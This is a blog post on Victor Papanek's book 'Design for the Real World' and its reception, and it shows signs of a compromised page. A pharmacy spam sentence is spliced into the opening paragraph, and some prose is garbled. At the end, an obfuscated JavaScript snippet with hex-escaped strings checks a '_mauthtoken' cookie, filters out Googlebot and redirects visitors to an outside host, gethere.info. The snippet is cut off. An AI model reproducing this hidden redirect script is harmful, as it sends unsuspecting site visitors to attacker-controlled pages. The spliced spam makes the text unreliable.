rabble-rouser…

The opening sentence of Victor Papanek’s book  If you are looking for cost-effective solutions for your Keflex purchase, you should check our offers – buy Keflex just for 1.23 USD! Design for the Real World is : “There are professions more harmful than industrial design, but only a few of them.” Papanek, a designer himself, went on to call designers “dangerous“, the producers of “garbage“. And that was in 1972.

Lesson / Koan : Write & speak with intention.

These days, designers have a rather different role as societal problem-solvers, leading the way to a cleaner, better future.

Victor Papanek’s book is a utopia has been renamed or rebranded as Sustainability – all matronly browns and little green arrows – has drained the sexiness from design. If designers want to do some genuine good, it’s time to re-engineer their thinking.

BTW,

How would you feel if you had written a book, which was, in your own words, “derided, made fun of, or savagely attacked” by your peers? Or you were forced to resign from a professional body, which then threatened to boycott an exhibition at the Centre Pompidou in Paris if your work was included?

All of these slights — and more — were heaped upon the designer Victor Papanek after the publication of his 1971 book “Design for the Real World.” Why?

Papanek went in to accuse his fellow designers of producing shoddy, stylized work that wasted natural resources, aggravated the environmental crisis and ignored their social and moral responsibilities. Four years later he was described by Design magazine as being “disliked, even loathed by his contemporaries.”

Yet Papanek had the last laugh. In 1985 in his preface to the second edition of “Design for the Real World,” he noted proudly that the first edition had been translated into 23 languages and had become “the most widely read book on design in the world.” He died in 1998, but 40 years after his book was first published, it is still in print and hugely influential, and Papanek is praised as a pioneer of sustainable and humanitarian design. As Zoë Ryan, the chairwoman of design and architecture at the Art Institute of Chicago, put it, “His approach seems more relevant than ever in today’s challenging times.”

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By the early 1960s, he had formed many of the principles articulated in “Design for the Real World.” In a 1964 lecture at the Rhode Island School of Design, Papanek dismissed commercial design as “the perversion of a great tool,” and called on designers to fulfill genuine needs rather than “phony wants.”

Victor Papanek teaching at the Kansas City Art Institute, where he was head of design from 1976 to 1981.

“Design for the Real World was one of the first texts I read that came across with such urgency, and such raw, brave commentary,” said Emily Pilloton, a co-founder of Project H. “I hold Papanek in the highest regard not only as a great thinker, but as a rabble-rouser.”var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== 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